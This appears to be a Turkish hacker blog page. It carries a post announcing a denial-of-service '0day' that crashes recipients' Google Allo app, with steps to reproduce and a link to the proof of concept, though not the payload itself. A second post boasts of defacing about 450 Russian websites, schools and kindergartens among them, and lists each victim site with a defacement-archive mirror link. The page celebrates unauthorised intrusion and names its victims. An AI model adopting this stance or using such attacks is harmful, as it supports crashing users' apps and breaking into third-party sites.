8 Aralık 2018 Cumartesi

Google Allo - Denial of Service Vulnerability, 0day

Google Allo - Denial of Service, 0day
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Discovered by: KnocKout
[~] Greetz: Ne0-h4ck3r, BARCOD3, Septemb0x 
[~] Contact : knockout@e-mail.com.tr - http://cyber-warrior.org 
############################################################
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|~Application : Google Allo
|~Affected Version : Latest version as of 03.12.2018 
|~Developer : http://www.google.com
|~PlayStore : https://play.google.com/store/apps/details?id=com.google.android.apps.fireball&hl=tr
|~Tested on : Android, Samsung S6, Samsung J7 Prime, Samsun A8
####################INFO################################
When we send to message codes to victim that has become unusable, Crashed app.
Stepts to reproducre:
1. We installed Google allo. After that we sending message the below code to victim.
2. And Victim's app crashed and it has become unusable.
########################################################
----------------------------------------------------------
Send to crash (Google Allo Web)  : https://i.hizliresim.com/5a4VEL.png
Code will reach the opposite side a little late...
Can last about 1-3 minutes..

Denial of Service: https://i.hizliresim.com/jgLnrm.jpg
----------------------------------------------------------
                      POC
----------------------------------------------------------
https://dl.packetstormsecurity.net/1812-exploits/googleallo-dos.txt

9 Ocak 2016 Cumartesi

450 Russian Website h4x0red ! ( Codenamed Russian Pig )



http://www.stylen.ru
http://zone-h.org/mirror/id/25354070

http://www.skadk.ru
http://zone-h.org/mirror/id/25354071

http://www.taimur-karaul.ru
http://zone-h.org/mirror/id/25354073

http://www.ruclay.com/
http://zone-h.org/mirror/id/25352966

http://astra-history.ru/
http://zone-h.org/mirror/id/25352501

http://skv-city.ru
http://zone-h.org/mirror/id/25353005

http://site-park.ru
http://zone-h.org/mirror/id/25353000

http://si63.ru/
http://zone-h.org/mirror/id/25352497

http://gnpcompany.ru/
http://zone-h.org/mirror/id/25352498

http://спецхим.рф/
http://www.mirrorzone-tr.com/view/?id=290/

http://kolpnadetdom.ru/
http://zone-h.org/mirror/id/25352910

http://acrolic.com/
http://zone-h.org/mirror/id/25352519

http://orel-oblstomat.ru/
http://zone-h.org/mirror/id/25352891

http://buzycat.ru/
http://zone-h.org/mirror/id/25352594

http://www.praktikdent-orel.ru/
http://zone-h.org/mirror/id/25352852

http://cleanmir-cm.ru/
http://zone-h.org/mirror/id/25352599

http://mosexibank.ru
http://zone-h.org/mirror/id/25352494

http://центр-образъ.рф/
http://www.mirrorzone-tr.com/view/?id=289/

http://xistoria.com/
http://zone-h.org/mirror/id/25352466

http://alt-toning.ru/
http://zone-h.org/mirror/id/25352207

http://vgoodzone.ru/
http://zone-h.org/mirror/id/25352212

http://студия-стиль.рф/
http://www.mirrorzone-tr.com/view/?id=287/

http://nbuth.ru/
http://zone-h.org/mirror/id/25352194

http://карточкакредитная.рф/
http://www.mirrorzone-tr.com/view/?id=286/

http://allmetaphors.ru
http://zone-h.org/mirror/id/25352199

http://magizova.ru
http://zone-h.org/mirror/id/25352202

http://dwolla.ru
http://zone-h.org/mirror/id/25352206

http://sklad-sm.ru/
http://zone-h.org/mirror/id/25352204

http://avaloncg.ru/
http://zone-h.org/mirror/id/25352013

http://chinilkin.com/
http://zone-h.org/mirror/id/25352015

http://gergoff.ru
http://zone-h.org/mirror/id/25352018

http://zavladimir.ru
http://zone-h.org/mirror/id/25351993

http://all4baby.ru
http://zone-h.org/mirror/id/25352007

http://visa-bankrotstvo.ru/
http://zone-h.org/mirror/id/25352340

http://comraarch.ru
http://zone-h.org/mirror/id/25352047

http://школа93.рф
http://www.mirrorzone-tr.com/view/?id=266/

http://доу177.рф/
http://www.mirrorzone-tr.com/view/?id=268/

http://доу286.рф
http://www.mirrorzone-tr.com/view/?id=269/

http://76школа.рф/
http://www.mirrorzone-tr.com/view/?id=271/

http://www.supernaturaltv.ru
http://www.zone-h.org/mirror/id/25347445

http://supertachka.ru
http://www.zone-h.org/mirror/id/25347450

http://xn--e1agmjj0ag.xn--p1ai
http://www.mirrorzone-tr.com/view/?id=290/

http://volynki.ru
http://www.zone-h.org/mirror/id/25347563

http://ventoptima.com
http://www.zone-h.org/mirror/id/25347569

http://ton-roo.ru
http://www.zone-h.org/mirror/id/25347452

http://trendy-dress.ru
http://www.zone-h.org/mirror/id/25347455

http://turizmatik.ru
http://www.zone-h.org/mirror/id/25347482

http://trubadur-ufa.ru
http://www.zone-h.org/mirror/id/25347476

http://shop-zvukvokrug.ru
http://www.zone-h.org/mirror/id/25347442

http://poly.sova.studio/
http://zone-h.org/mirror/id/25352605

http://sferacomforta.ru
http://www.zone-h.org/mirror/id/25347431

http://xn----gtbmbp5adeef0i4a.xn--p1ai
http://www.mirrorzone-tr.com/view/?id=287/

http://salontik.ru
http://www.zone-h.org/mirror/id/25347416          

http://el-montazh.com
http://www.zone-h.org/mirror/id/25347746

http://medved-i-masha.ru
http://www.mirrorzone-tr.com/view/?id=294/

http://uaimages.com
http://www.zone-h.org/mirror/id/25347489

http://uridcons.ru
http://www.zone-h.org/mirror/id/25347491

http://masterfenster.ru
http://www.zone-h.org/mirror/id/25346545

http://kzeo.ru
http://www.zone-h.org/mirror/id/25346206

http://www.imageadvertising.ru/
http://www.zone-h.org/mirror/id/25346201

http://2men.ru
http://www.zone-h.org/mirror/id/25345941

http://7uzelkov.ru
http://zone-h.org/mirror/id/25345950

http://avers-ryazan.ru/kak-vybrat-parol.html
http://zone-h.org/mirror/id/25345971

http://avgustrock.net
http://zone-h.org/mirror/id/25345977

http://avtoconcept.ru/
http://www.zone-h.org/mirror/id/25346037

http://betastr.ru/lg-electronics-obyavlyaet-o-nachale-sotrudnichestva-s-mgsu.htm
http://www.zone-h.org/mirror/id/25346049

http://www.bassproekt.com/

http://brutalgym.ru/4
http://www.zone-h.org/mirror/id/25346053

http://bulichev.ru/
http://www.zone-h.org/mirror/id/25346065

http://www.defans.ru/kontaktjy.html
http://www.zone-h.org/mirror/id/25346069

http://okuhne.info
http://www.zone-h.org/mirror/id/25347085

http://dietaload.ru/kontakt.html
http://www.zone-h.org/mirror/id/25346095

http://doctor-dens.ru/contacts.html
http://www.zone-h.org/mirror/id/25346097

http://vkysno-vcem.ru/
http://www.zone-h.org/mirror/id/25347502

http://rublevobeach.ru/foto/
http://www.zone-h.org/mirror/id/25347170

http://dostavkin.ru/uslugi-i-tseny.html
http://www.zone-h.org/mirror/id/25346178

http://www.pulka.ru/
http://www.zone-h.org/mirror/id/25347102

http://www.freeoboi.ru/wallpaper
http://www.zone-h.org/mirror/id/25346182

http://prazdnik-nash.ru
http://www.zone-h.org/mirror/id/25347095

http://nixuxu.ru/kontaktjy.html
http://www.zone-h.org/mirror/id/25347066

htto://punkgazon.ru/news
http://www.zone-h.org/mirror/id/25347104

http://banki-krishki.ru
http://zone-h.org/mirror/id/25352374

http://radiostrana.ru
http://www.zone-h.org/mirror/id/25347119

http://nttrust.ru/kontakty/
http://www.zone-h.org/mirror/id/25347081

http://xn--6-7sbb1bcbcudgtdkd6gxf.xn--p1ai
http://www.mirrorzone-tr.com/view/?id=265/

http://predein.ru
http://www.zone-h.org/mirror/id/25347097

http://hudenie.com/son-pomozhet-poxudet/
http://www.zone-h.org/mirror/id/25347771

http://club4s.ru/

http://www.altair-nord.com/
http://zone-h.org/mirror/id/25352457

http://xn--93-6kc3bfr2e.xn--p1ai
http://www.mirrorzone-tr.com/view/?id=266/

http://octus.ru/hacked
http://www.zone-h.org/mirror/id/25347083

http://xn--14-6kc3bfr2e.org
http://www.mirrorzone-tr.com/view/?id=264/

http://www.servera-cs.su/
http://www.zone-h.org/mirror/id/25347428

http://www.sculptor-shanov.com/novosti
http://www.zone-h.org/mirror/id/25347779

http://onigs.com
http://www.zone-h.org/mirror/id/25347786

http://expertfinans23.ru
http://www.zone-h.org/mirror/id/25347901

http://tvkrasnodar.ru/
http://www.zone-h.org/mirror/id/25347864                     

http://sklad-vivat.ru
http://www.zone-h.org/mirror/id/25347872

http://trubtorg.ru/
http://www.zone-h.org/mirror/id/25347877

http://dccontinent.ru
http://www.zone-h.org/mirror/id/25347895

http://xn--177-mdd4c4a.xn--p1ai
http://www.mirrorzone-tr.com/view/?id=268/

http://lavillarest.ru
http://www.zone-h.org/mirror/id/25347849

http://www.kt-plast.com/produktsiya                      
http://www.zone-h.org/mirror/id/25347847

http://energet-yug.ru/
http://www.zone-h.org/mirror/id/25347898

http://xn--209-mdd4c4a.xn----7sbbadhrfpmnb2bigbcd0adgmd84a.xn--p1ai
http://www.mirrorzone-tr.com/view/?id=267/

http://keeneye.ru
http://www.zone-h.org/mirror/id/25347904

http://www.llo.su
http://www.zone-h.org/mirror/id/25348070

http://audi.llo.su
http://az-h.org/view/?id=10341/

http://driving-school-1.llo.su
http://az-h.org/view/?id=10342/

http://finans.llo.su
http://az-h.org/view/?id=10343/

http://1cf.llo.su
http://az-h.org/view/?id=10344/

http://adspend.llo.su
http://az-h.org/view/?id=10345/

http://alrol-machinery.llo.su
http://az-h.org/view/?id=10346/

http://alrol-mail.llo.su
http://az-h.org/view/?id=10347/

http://api.llo.su
http://az-h.org/view/?id=10348/

http://auto_rst24.llo.su
http://az-h.org/view/?id=10348/

http://site1.llo.su
http://az-h.org/view/?id=10350/

http://azkr.llo.su
http://az-h.org/view/?id=10351/

http://banner2.llo.su
http://az-h.org/view/?id=10352/

http://belye-parusa.llo.su
http://az-h.org/view/?id=10353/

http://shans23_new.llo.su
http://az-h.org/view/?id=10354/

http://xn--24-dlclaawnhmv0aled.xn--p1ai/
http://www.mirrorzone-tr.com/view/?id=276/

http://keenye1.llo.su
http://az-h.org/view/?id=10355/

http://callbackhunter.llo.su
http://az-h.org/view/?id=10356/

http://center-2.llo.su
http://az-h.org/view/?id=10357/

http://center-gorod.llo.su
http://az-h.org/view/?id=10358/

http://center.llo.su
http://az-h.org/view/?id=10306/

http://centershisha.llo.su
http://az-h.org/view/?id=10307/

http://ch.llo.su
http://az-h.org/view/?id=10328/

http://schaste.llo.su
http://az-h.org/view/?id=10309/

http://children.llo.su
http://az-h.org/view/?id=10310/

http://children2.llo.su
http://az-h.org/view/?id=10311/

http://glavstroy_menu.llo.su
http://az-h.org/view/?id=10312/

http://shisha.llo.su
http://az-h.org/view/?id=10313/

http://grs.llo.su
http://az-h.org/view/?id=10314/

http://gruz.llo.su
http://az-h.org/view/?id=10315/

http://testadspend.llo.su
http://az-h.org/view/?id=10316/

http://krd24.llo.su
http://az-h.org/view/?id=10317/

http://gsblock.llo.su
http://az-h.org/view/?id=10318/

http://keenye.llo.su
http://az-h.org/view/?id=10319/

http://kirpich.llo.su
http://az-h.org/view/?id=10320/

http://kodicms.llo.su
http://az-h.org/view/?id=10321/

http://krd.llo.su
http://az-h.org/view/?id=10322/

http://map.llo.su
http://az-h.org/view/?id=10323/

http://med.llo.su
http://az-h.org/view/?id=10324/

http://medbitrix.llo.su
http://az-h.org/view/?id=10325/

http://meriton.llo.su
http://az-h.org/view/?id=10292/

http://meritonbitrix.llo.su
http://az-h.org/view/?id=10293/

http://rosdent.llo.su
http://az-h.org/view/?id=10294/

http://moika.llo.su
http://az-h.org/view/?id=10295/

http://newton.llo.su
http://az-h.org/view/?id=10296/

http://noori.llo.su
http://az-h.org/view/?id=10297/

http://okna.llo.su
http://az-h.org/view/?id=10298/             

http://opencart1c.llo.su
http://az-h.org/view/?id=10299/

http://ozon.llo.su
http://az-h.org/view/?id=10300/

http://system.llo.su
http://az-h.org/view/?id=10301/

http://site2.llo.su
http://az-h.org/view/?id=10302/

http://paddington.llo.su
http://az-h.org/view/?id=10303/

http://wordpress.llo.su
http://az-h.org/view/?id=10304/

http://yugtrade.llo.su
http://az-h.org/view/?id=10305/

http://гимназия14.рф/
http://www.mirrorzone-tr.com/view/?id=262/

http://спецарм.рф
http://www.mirrorzone-tr.com/view/?id=263/

http://gimnaziy14.ru
http://zone-h.org/mirror/id/25348390

http://xn--80aaapetjbb7aexexi6euh.xn--p1ai
http://www.mirrorzone-tr.com/view/?id=286/

http://skosch4.rightside.ru/
http://zone-h.org/mirror/id/25348402

http://xn--80ajwjhc1b.xn--p1ai
http://www.mirrorzone-tr.com/view/?id=263/

http://slavelife.ru/
http://zone-h.org/mirror/id/25353012

http://www.24akva.ru/
http://zone-h.org/mirror/id/25348430

http://mbdou250.ru/
http://zone-h.org/mirror/id/25348442

http://sibhaus24.ru
http://zone-h.org/mirror/id/25348448

http://www.sdushor24.ru/
http://zone-h.org/mirror/id/25348461

http://школа14.org/
http://www.mirrorzone-tr.com/view/?id=264/

http://xn--24-dlclaawnhmv0aled.xn--p1ai/
http://www.mirrorzone-tr.com/view/?id=276/

http://chubich.com/
http://zone-h.org/mirror/id/25352596

http://школа6красноярск.рф/
http://www.mirrorzone-tr.com/view/?id=265/

http://gumn7.ru/
http://zone-h.org/mirror/id/25348529

http://ktste.ru/index.php?name=Pages
http://zone-h.org/mirror/id/25348666

http://tulpans.ru/
http://zone-h.org/mirror/id/25348673

http://samocveti.rightside.ru
http://zone-h.org/mirror/id/25348674

http://xn----8sbcon6aiodp5b8c.xn--p1ai
http://www.mirrorzone-tr.com/view/?id=289/

http://stolitsa-consult.ru/
http://zone-h.org/mirror/id/25353016

http://доу209.красноярское-образование.рф
http://www.mirrorzone-tr.com/view/?id=267/

http://xn--286-mdd4c4a.xn--p1ai
http://www.mirrorzone-tr.com/view/?id=269/

http://dou194.ru/
http://www.mirrorzone-tr.com/view/?id=270/           

http://xn--76-8kc3bfr2e.xn--p1ai
http://www.mirrorzone-tr.com/view/?id=271/

http://www.doy27.ru
http://zone-h.org/mirror/id/25350148

http://www.doy317.ru/
http://zone-h.org/mirror/id/25350158

http://ojm01.ru/
http://zone-h.org/mirror/id/25352099

http://www.dou159.ru
http://zone-h.org/mirror/id/25350165

http://ba-l.com/
http://zone-h.org/mirror/id/25352188

http://under-click.ru
http://zone-h.org/mirror/id/25353020

http://tczanami.ru/

http://vektor25.ru
http://zone-h.org/mirror/id/25352184

http://xn--80a3afd9c.xn--p1ai/
http://www.mirrorzone-tr.com/view/?id=283/

http://raskraskin.com/
http://zone-h.org/mirror/id/25350167

http://телекомсервис24.рф
http://www.mirrorzone-tr.com/view/?id=276/

http://triumf-home.ru/ipoteka.html                  
http://www.mirrorzone-tr.com/view/?id=282/

http://b-ox.ru/
http://zone-h.org/mirror/id/25352026

http://прицеп-нн.рф/prays.html
http://www.mirrorzone-tr.com/view/?id=280/

http://dantist-maikop.ru
http://zone-h.org/mirror/id/25352071

http://sova.bednostinet.ru/
http://zone-h.org/mirror/id/25352612

http://imobilochka.ru/
http://zone-h.org/mirror/id/25352083

http://mbdou57.ru
http://zone-h.org/mirror/id/25352088                            

http://mp-sv.ru/
http://zone-h.org/mirror/id/25352093

http://primrtek.abalash.ru/          
http://zone-h.org/mirror/id/25352100

http://www.wpinfo.ru/
http://zone-h.org/mirror/id/25352139

http://tespa.ru
http://zone-h.org/mirror/id/25352108

http://ups.bednostinet.ru/
http://zone-h.org/mirror/id/25352623

http://kapital-nedvizhimost.ru/         
http://www.mirrorzone-tr.com/view/?id=292/

http://sulp.ru/
http://zone-h.org/mirror/id/25352431

http://es4u.ru
http://zone-h.org/mirror/id/25352627

http://xn--80aakbcab4binvdo.xn--p1ai
http://www.mirrorzone-tr.com/view/?id=296/

http://тэспа.рф/
http://www.mirrorzone-tr.com/view/?id=283/

http://tzentr-stroy.ru/
http://zone-h.org/mirror/id/25352123

http://wpbrilliant.ru
http://zone-h.org/mirror/id/25352138

http://tanguera.ru/
http://zone-h.org/mirror/id/25352191

http://www.margo-art.me/
http://zone-h.org/mirror/id/25352193

http://wingchun.bednostinet.ru/
http://zone-h.org/mirror/id/25352630

http://burtehsnab.com/
http://zone-h.org/mirror/id/25352482

http://sova.studio
http://zone-h.org/mirror/id/25352603

http://presta.bednostinet.ru/
http://zone-h.org/mirror/id/25352610

http://zukori.ru/
http://zone-h.org/mirror/id/25352634

http://financereviews.ru/
http://zone-h.org/mirror/id/25352838

http://iphoshka.ru/
http://zone-h.org/mirror/id/25352841

http://mivok.ru/
http://zone-h.org/mirror/id/25352846

https://www.motoevo.ru/
http://zone-h.org/mirror/id/25352848

http://pro-photomaker.ru/
http://zone-h.org/mirror/id/25352923

http://regtol.ru/
http://zone-h.org/mirror/id/25352927


http://test28.rsmike.ru
http://zone-h.org/mirror/id/25352936

http://test31.rsmike.ru/
http://zone-h.org/mirror/id/25352956

http://rimand.com/
http://zone-h.org/mirror/id/25352965

http://sagatheball.ru/
http://zone-h.org/mirror/id/25352977

http://senoritasalon.ru/
http://www.mirrorzone-tr.com/view/?id=293/           

http://show-trump.ru/
http://zone-h.org/mirror/id/25352994                                                  

http://sever96.ru
http://www.mirrorzone-tr.com/view/?id=295/

http://blok96.ru/
http://zone-h.org/mirror/id/25353049

http://переделкадома.рф/
http://www.mirrorzone-tr.com/view/?id=296/

http://remontdoma24.ru
http://zone-h.org/mirror/id/25353063

http://gifts.aykso.ru
http://zone-h.org/mirror/id/25353093

http://dinagareeva.olgazelens.com
http://zone-h.org/mirror/id/25353125

http://khomenkova.olgazelens.com/
http://zone-h.org/mirror/id/25353127

http://moto-paraplan.ru/
http://zone-h.org/mirror/id/25353129

http://foton-rabota.ru
http://zone-h.org/mirror/id/25353131

http://remont-vorot24.ru
http://zone-h.org/mirror/id/25353134

http://melarin.365taxi.ru
http://zone-h.org/mirror/id/25353342

http://feelwin.ru
http://zone-h.org/mirror/id/25353770

http://gogle.su (Adult)
http://zone-h.org/mirror/id/25353778

http://video.xanimlar.ru (Adult)
http://zone-h.org/mirror/id/25354065

http://www.collage-foto.ru
http://zone-h.org/mirror/id/25352462
http://android-now.ru
http://zone-h.org/mirror/id/25269642

http://pravdaoede.org/
http://zone-h.org/mirror/id/25267963

http://avi-group.ru/
http://zone-h.org/mirror/id/25267799

http://u2939547.mass.hc.ru/
http://zone-h.org/mirror/id/25267860

http://new.atbe.ru/
http://zone-h.org/mirror/id/25267852

http://www.mebfur.ru/
http://zone-h.org/mirror/id/25267927

http://www.pravdaoede.org/
http://zone-h.org/mirror/id/25267963

http://www.plen34.ru/
http://zone-h.org/mirror/id/25268003

http://www.pechati-tmn.ru
http://zone-h.org/mirror/id/25268015

http://www.4pll.com
http://zone-h.org/mirror/id/25268022

http://www.inzel-stroy.ru
http://zone-h.org/mirror/id/25268096

http://www.ort-c.ru/
http://zone-h.org/mirror/id/25268094

http://www.iapro.ru/
http://zone-h.org/mirror/id/25268103

http://blog.loverodina.ru/
http://zone-h.org/mirror/id/25268144

http://www.propertystat.ru/index.php/about-us
http://zone-h.org/mirror/id/25267800
www.ds118.ru
http://zone-h.org/mirror/id/25268166

http://лицей-1.рф             ( http://xn---1-mlclgj2f.xn--p1ai/ )
http://www.mirrorzone-tr.com/view/?id=226/

http://www.poliform96.ru/
http://zone-h.org/mirror/id/25268307

http://замки159.рф/            ( http://xn--159-5cd8ahnp.xn--p1ai )
http://www.mirrorzone-tr.com/view/?id=239/

http://www.airserv.ru/catalog
http://zone-h.org/mirror/id/25268475

http://www.BudgetTrip.ru
http://zone-h.org/mirror/id/25268481

http://www.pravorf.org
http://zone-h.org/mirror/id/25268570

http://www.yrist-centr.ru/
http://zone-h.org/mirror/id/25268596

http://www.pokrovkagroup.com/
http://zone-h.org/mirror/id/25268609

http://www.travelbk.ru/
http://zone-h.org/mirror/id/25268737

http://www.newrasa.ru/
http://zone-h.org/mirror/id/25268773

http://www.dlynogek.ru
http://zone-h.org/mirror/id/25268845

http://www.vyazemsky.ru/
http://zone-h.org/mirror/id/25268875

http://www.frater.ru/
http://zone-h.org/mirror/id/25268920

http://www.spiltek.ru/
http://zone-h.org/mirror/id/25268927

http://www.dandk.ru/
http://zone-h.org/mirror/id/25268952

http://www.savelobuv.ru/
http://zone-h.org/mirror/id/25268956

http://m7moto.ru
http://zone-h.org/mirror/id/25269044

http://www.aykso.ru/
http://zone-h.org/mirror/id/25269060

http://www.medi-line.ru
http://zone-h.org/mirror/id/25269074

http://d-mind.ru/index.php/voennye-war
http://zone-h.org/mirror/id/25269100

http://www.ducato-service.ru
http://zone-h.org/mirror/id/25269109

http://рувел.рф/           ( http://xn--b1agsrp.xn--p1ai/ )
http://www.mirrorzone-tr.com/view/?id=241/

http://www.ztsar.ru
http://zone-h.org/mirror/id/25269232

http://www.avtoshkola-svetofor.ru/
http://zone-h.org/mirror/id/25269295

http://www.obrabotka.szr.su/
http://zone-h.org/mirror/id/25269328

http://www.pm-shines.ru/about
http://zone-h.org/mirror/id/25269358

http://www.szr.su
http://zone-h.org/mirror/id/25269437

http://shop.szr.su
http://zone-h.org/mirror/id/25269584

http://www.carrier-ufa.ru
http://zone-h.org/mirror/id/25269489

http://www.tauross.ru/
http://www.mirrorzone-tr.com/view/?id=242/

http://www.taurus-pictures.com/
http://zone-h.org/mirror/id/25269568

http://www.mytischi-akpp.ru
http://zone-h.org/mirror/id/25269594

http://шпиллер.рф
http://www.mirrorzone-tr.com/view/?id=243/


http://www.stellarlux.ru/
http://zone-h.org/mirror/id/25252444

http://www.tehnowelt.com/
http://zone-h.org/mirror/id/25252346

http://www.bcrg.su/
http://zone-h.org/mirror/id/25252354

http://www.club-kann.com
http://zone-h.org/mirror/id/25252360

http://www.region-klimat.ru
http://zone-h.org/mirror/id/25252408

http://www.t-cosmetics.com
http://zone-h.org/mirror/id/25252453

http://www.storent.ru/
http://zone-h.org/mirror/id/25252457

htto://www.avk-klimat.ru
http://zone-h.org/mirror/id/25252489

http://www.hawkstone.ru/
http://zone-h.org/mirror/id/25252502

http://www.natalyland.ru
http://zone-h.org/mirror/id/25252519

http://www.safetel.biz/
http://www.zone-h.org/mirror/id/25252539

http://www.dufa39.ru/
http://zone-h.org/mirror/id/25252573

http://www.office-nt.ru/
http://zone-h.org/mirror/id/25252614

http://www.valleywinds.ru
http://zone-h.org/mirror/id/25252681

http://www.euro-balkon.ru/
http://zone-h.org/mirror/id/25252711

http://www.aliansag.ru/
http://zone-h.org/mirror/id/25252716

http://www.stroidom.org/
http://zone-h.org/mirror/id/25252722

http://www.bolvanovka.ru/
http://zone-h.org/mirror/id/25252846

http://www.sanskrt.org/
http://zone-h.org/mirror/id/25252861

http://www.monitoring2b.ru/
http://zone-h.org/mirror/id/25252872

http://www.prostie-veschi.com/
http://zone-h.org/mirror/id/25252878

http://www.klado.ru/
http://zone-h.org/mirror/id/25252884

http://www.rilem-cis.net
http://zone-h.org/mirror/id/25252903

http://проф-оценка.рф/blog/   ( Browser Decode http://xn----8sbouodbfj5bya.xn--p1ai/blog/ )
http://www.mirrorzone-tr.com/view/?id=217/

http://www.aakokoshin.ru/
http://zone-h.org/mirror/id/25252936

http://www.staslife.ru/
http://zone-h.org/mirror/id/25252948

http://www.rinakocenter.ru/
http://zone-h.org/mirror/id/25252956

http://u2933948.mass.hc.ru
http://zone-h.org/mirror/id/25252957

http://www.internetnasele.ru
http://zone-h.org/mirror/id/25253070

http://www.12studio.ru/
http://zone-h.org/mirror/id/25253234

http://www.mobyprint.ru/en
http://zone-h.org/mirror/id/25253251

http://www.uk-prof.ru/?page_id=52

http://www.npzles.ru
http://zone-h.org/mirror/id/25253334

http://www.radiustudio.ru/index.php/intercity
http://www.zone-h.org/mirror/id/25253422

http://www.umnyasha.ru
http://zone-h.org/mirror/id/25253446

http://www.sto-fuchika.ru/
http://zone-h.org/mirror/id/25253487

http://уралтрейд.рф/ (Browser Decode http://xn--80aicqi2acpf.xn--p1ai/ )
http://www.mirrorzone-tr.com/view/?id=220/

http://www.bastion-st.ru/
http://www.zone-h.org/mirror/id/25253526

http://www.vitalime.ru/
http://www.zone-h.org/mirror/id/25253532

http://виталайм.рф ( Browser Decode http://xn--80aaeyhkj7b.xn--p1ai/ )
http://www.mirrorzone-tr.com/view/?id=221/


http://www.promkontrakt.ru/
http://www.zone-h.org/mirror/id/25253700

http://www.olgazelens.com/
http://www.zone-h.org/mirror/id/25253709

http://www.belmz.ru/
http://www.zone-h.org/mirror/id/25253720

http://www.sebastianstudio.ru
http://www.zone-h.org/mirror/id/25253743

http://www.potolkistroi.ru
http://www.zone-h.org/mirror/id/25253743

http://www.gazpoz.ru/
http://zone-h.org/mirror/id/25253762

http://экотермсервис.рф     ( http://xn--b1afangnmrcied4l.xn--p1ai )
http://www.mirrorzone-tr.com/view/?id=222/

http://www.alexgardt.com/
http://zone-h.org/mirror/id/25253805

http://www.mosttek.ru
http://zone-h.org/mirror/id/25253851

http://абикор.рф/        ( http://xn--80acvium.xn--p1ai )
http://www.mirrorzone-tr.com/view/?id=223/

http://www.dizel-rent.ru/
http://zone-h.org/mirror/id/25251999

http://pudishi.ru/
http://zone-h.org/mirror/id/25251895

http://mramomir.ru/
http://zone-h.org/mirror/id/25251874

http://www.bmxteam.ru/
http://zone-h.org/mirror/id/25251873


http://www.otpuskvmeste.ru/
http://zone-h.org/mirror/id/25251405

http://www.artbank.ru/
http://zone-h.org/mirror/id/25251266

http://www.simona-anapa.ru/
http://zone-h.org/mirror/id/25251236

http://www.moycoh5.ru
http://zone-h.org/mirror/id/25251141

http://www.oooavangard.com/
http://zone-h.org/mirror/id/25251128

http://www.nppprod.ru/
http://zone-h.org/mirror/id/25251132   

http://www.osteodok.ru/
http://zone-h.org/mirror/id/25251139

http://www.bainduroff.ru/
http://zone-h.org/mirror/id/25251151

http://www.best-metall.com/
http://zone-h.org/mirror/id/25251225

http://wwww.kbstroy40.ru
http://zone-h.org/mirror/id/25251228

http://www.itilsanatorium.ru/
http://zone-h.org/mirror/id/25251242  

http://www.tmdon.ru/
http://zone-h.org/mirror/id/25251246

http://www.mbdou141.ru/
http://zone-h.org/mirror/id/25251254

http://www.omsksutki.ru/
http://zone-h.org/mirror/id/25251264

http://www.familytravel.su/index.php/alias/about
http://zone-h.org/mirror/id/25251272

http://саратовоблпечать.рф/ ( Browser Decode: http://xn--80aaadet5bvbmekqi7e2d.xn--p1ai )
http://www.mirrorzone-tr.com/view/?id=212/

http://www.palimira.ru/          
http://zone-h.org/mirror/id/25251341

http://www.insper.ru/
http://zone-h.org/mirror/id/25251359

http://www.nuriya.su/
http://zone-h.org/mirror/id/25251373

http://www.vipmed.com.ru
http://zone-h.org/mirror/id/25251412

http://www.finsuits.com/
http://zone-h.org/mirror/id/25251423

http://www.takoprof.ru
http://zone-h.org/mirror/id/25251563     

http://www.wool-magic.ru
http://zone-h.org/mirror/id/25251581

http://www.midea-ufa.ru
http://zone-h.org/mirror/id/25251582

http://натье.рф ( Browser Decode http://xn--80akwv4c.xn--p1ai )
http://www.mirrorzone-tr.com/view/?id=215/

http://www.ivpar.ru/
http://zone-h.org/mirror/id/25251621

http://www.powerbutton.ru
http://zone-h.org/mirror/id/25251734    

http://www.trodat-stamp.ru/
http://zone-h.org/mirror/id/25251739

http://www.napitki-yuga.ru
http://zone-h.org/mirror/id/25251786

http://www.profili.su/
http://zone-h.org/mirror/id/25251801

http://www.here-there.ru/
http://zone-h.org/mirror/id/25251835

http://www.30-minut.ru/
http://zone-h.org/mirror/id/25251841

http://www.dmauto.su/
http://zone-h.org/mirror/id/25251853

http://www.florabor.ru
http://zone-h.org/mirror/id/25251944

http://www.shop-76.ru
http://zone-h.org/mirror/id/25252253

http://www.irinaprivoznova.com/
http://zone-h.org/mirror/id/25252257


http://www.mibit.ru
http://zone-h.org/mirror/id/25244128

http://www.yarteplo.ru/
http://zone-h.org/mirror/id/25244092

http://1945-2015.com/
http://zone-h.org/mirror/id/25243965

http://www.vliga.net/
http://zone-h.org/mirror/id/25244047

http://www.vipstal.ru
http://zone-h.org/mirror/id/25244026

http://www.yusupova.ru/
http://zone-h.org/mirror/id/25244131

http://www.mibit.ru
http://zone-h.org/mirror/id/25244128

http://web.tamazaev.ru/
http://www.mirrorzone-tr.com/view/?id=208/

http://02082015.ru/
http://www.zone-h.org/mirror/id/25244319

http://www.goroda-na-donu.ru
http://www.zone-h.org/mirror/id/25244327

http://www.elenapetrova.me/
http://zone-h.org/mirror/id/25244440

http://www.www.chefs.su/
http://zone-h.org/mirror/id/25244558

http://www.www.lr1948.ru/
http://zone-h.org/mirror/id/25244594

http://www.sakura-wheels.ru
http://zone-h.org/mirror/id/25244627

http://www.woodlineussuri.ru
http://zone-h.org/mirror/id/25244786

http://www.v-sev.ru/
http://zone-h.org/mirror/id/25244799

http://www.ufa-pegast.ru/
http://zone-h.org/mirror/id/25244924

http://www.www.exozen.ru/
http://zone-h.org/mirror/id/25244960

http://www.antrehall.ru/
http://zone-h.org/mirror/id/25245052

http://www.lesnoy-skitalec.ru
http://zone-h.org/mirror/id/25245216

http://www.rcbspid.ru
http://www.mirrorzone-tr.com/view/?id=210/


http://www.ssmilena.ru/
http://zone-h.org/mirror/id/25243061

http://www.stodb.ru/
http://zone-h.org/mirror/id/25243417

http://wwwstoprint.ru/
http://zone-h.org/mirror/id/25243489

http://www.suvdt63.ru  
http://zone-h.org/mirror/id/25243522

http://wwwatisha-irkutsk.ru/
http://zone-h.org/mirror/id/25243548

http://www.tehnikaspb.ru/
http://zone-h.org/mirror/id/25243570

http://www.triduima.ru
http://zone-h.org/mirror/id/25243585

http://www.trte.ru/
http://zone-h.org/mirror/id/25243849

http://wwwpokad.ru
http://zone-h.org/mirror/id/25242380

http://www.polartv.ru
http://zone-h.org/mirror/id/25242394

http://wwwpremium-a-class.ru
http://zone-h.org/mirror/id/25242496

http://wwwpriborm.ru
http://zone-h.org/mirror/id/25242508

http://www.radiobaby.ru/
http://zone-h.org/mirror/id/25242590

http://wwwhodunki-baby.ru/
http://zone-h.org/mirror/id/25242600

http://wwwkacheli-baby.ru/
http://www.zone-h.org/mirror/id/25242643

http://www.raketoff.ru/
